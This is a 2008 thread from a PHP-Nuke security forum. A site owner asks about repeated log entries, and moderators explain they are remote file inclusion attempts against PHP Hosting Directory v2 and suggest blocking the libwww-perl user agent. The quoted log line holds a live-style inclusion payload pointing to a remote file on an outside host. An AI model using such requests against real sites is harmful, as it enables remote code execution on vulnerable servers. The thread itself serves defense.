PHP Web Host - Quality Web Hosting For All PHP Applications Just Great Software
  Login or Register
 • Home • Downloads • Your Account • Forums • 
  Forum FAQ  •  Search  •  Memberlist  •  Usergroups  •  Profile  •  Log in to check your private messages  •  Log in

phphost_directoryv2
 View next topic
View previous topic


Google
 
Web RavenPHPScripts (This Site)
Post new topic   Reply to topic  Ravens PHP Scripts And Web Hosting Forum Index » Security - PHP Nuke
Author Message
Unit1
Regular
Regular


Joined: Oct 26, 2004
Posts: 75
Location: Boston
PostPosted: Sat Aug 16, 2008 7:38 pm Reply with quote Back to top
Can some one let me know what they are trying to do ? I am seeing a lot of this on my site
Quote:
85.12.15.28 - - [16/Aug/2008:15:22:05 -0600] "GET //phphost_directoryv2/include/admin.php?rd=http://customsbroker.ru//linki/files/contrD.txt?? HTTP/1.1" 500 823 "-" "libwww-perl/5.810"


Thanks for any info
View user's profile Send private message
evaders99
Moderator


Joined: Apr 30, 2004
Posts: 2844
PostPosted: Sat Aug 16, 2008 9:54 pm Reply with quote Back to top
Remote File Inclusion
Only registered users can see links on this board!
Get registered or login to the forums!


PHP Hosting Directory v2
Only registered users can see links on this board!
Get registered or login to the forums!


Robots don't care you aren't using this software.. they just scan every site and if you happen to use it, bingo... easy hacked site
View user's profile Send private message Visit poster's website
Unit1
Regular
Regular


Joined: Oct 26, 2004
Posts: 75
Location: Boston
PostPosted: Tue Aug 19, 2008 5:55 pm Reply with quote Back to top
Thank you evaders99 for the info

I did ban the ips but now it is coming from others here in the USA what is the best way to stop this completely on the site
View user's profile Send private message
kguske
Site Admin


Joined: Jun 04, 2004
Posts: 4848
PostPosted: Tue Aug 19, 2008 6:51 pm Reply with quote Back to top
Probably using spoofed IPs, so blocking won't help.
View user's profile Send private message
evaders99
Moderator


Joined: Apr 30, 2004
Posts: 2844
PostPosted: Tue Aug 19, 2008 7:03 pm Reply with quote Back to top
Or hacked servers by this botnet
You should use NukeSentinel or .htaccess rules to block libwww-perl
View user's profile Send private message Visit poster's website
Unit1
Regular
Regular


Joined: Oct 26, 2004
Posts: 75
Location: Boston
PostPosted: Sat Aug 23, 2008 8:12 pm Reply with quote Back to top
Thank you both for the help I should of did a search of the site on this problem as you have answered this problem many times in the past. As I get older I forget more. adding the block I now see just one in the logs instead of many

Stay safe and have a great day
View user's profile Send private message
Display posts from previous:       
Post new topic   Reply to topic  Ravens PHP Scripts And Web Hosting Forum Index » Security - PHP Nuke


 Jump to:   



View next topic
View previous topic
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
Forums ©
 

All logos and trademarks in this site are property of their respective owner.
The comments are property of their posters, all the rest © 2002-2008 by Raven
Proud to be listed at Lobo Links Web Directory

You can syndicate our news using the file xml

CSE HTML Validator Helped Clean up This Page! [Valid RSS] valid RSS 2.0 Valid robots.txt Stop Spam Harvesters, Join Project Honey Pot

Website engines core code is © copyright by PHP-Nuke but has been heavily patched and modified by myself and others.
PHP-Nuke is a free software released under the GNU/GPL.

:: fisubice phpbb2 style by Daz :: PHP-Nuke theme by www.nukemods.com ::

:: fisubice Theme Recoded To 100% W3C CSS & HTML 4.01 Transitional Compliance by Raven and 64bitguy ::

:: W3C CSS Compliance Validation :: W3C HTML 4.01 Transitional Compliance Validation ::

zerosum